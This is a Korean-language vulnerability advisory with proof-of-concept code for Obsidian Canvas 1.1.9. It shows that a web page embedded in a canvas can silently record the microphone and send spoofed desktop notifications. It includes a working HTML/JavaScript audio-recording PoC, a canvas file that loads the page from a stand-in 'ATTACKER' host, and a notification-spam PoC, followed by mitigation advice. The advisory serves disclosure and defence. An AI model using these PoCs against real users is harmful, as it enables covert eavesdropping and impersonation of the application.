
Obsidian Canvas의 임베디드 웹 페이지를 통한 무단 마이크 녹음 및 데스크톱 알림 남용을 입증하는 개념 증명 익스플로잇으로, 누락된 Electron 권한 요청 처리를 강조합니다.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
취약점 유형:
잘못된 접근 제어
설명:
Obsidian Canvas 1.1.9에서 발견된 문제로, 원격 공격자가 캔버스 페이지에 삽입된 웹사이트를 통해 데스크톱 알림 전송, 사용자 오디오 녹음 및 기타 명시되지 않은 영향을 발생시킬 수 있습니다.
영향:
악성 삽입 웹사이트는 사용자의 허가나 인지 없이 Obsidian 애플리케이션의 민감한 웹 API에 접근할 수 있습니다. 예를 들어, 사용자가 알지 못하거나 명시적 권한을 부여하지 않은 상태에서 사용자의 마이크를 조용히 녹음하거나 Obsidian 애플리케이션을 대신하여 데스크톱 알림을 보낼 수 있습니다.
이 문제의 근본 원인은 애플리케이션에 세션 권한 요청 핸들러가 없기 때문입니다.
영향받는 제품:
영향받는 버전:
재현 단계:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
알림 PoC:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
완화 조치:
Electron 세션 권한 요청 핸들러를 구현하여 삽입된 페이지의 권한 요청을 처리합니다. 웹 API에 대한 접근은 사용자가 명시적으로 허용하거나 기본적으로 거부되어야 합니다.
참고 자료: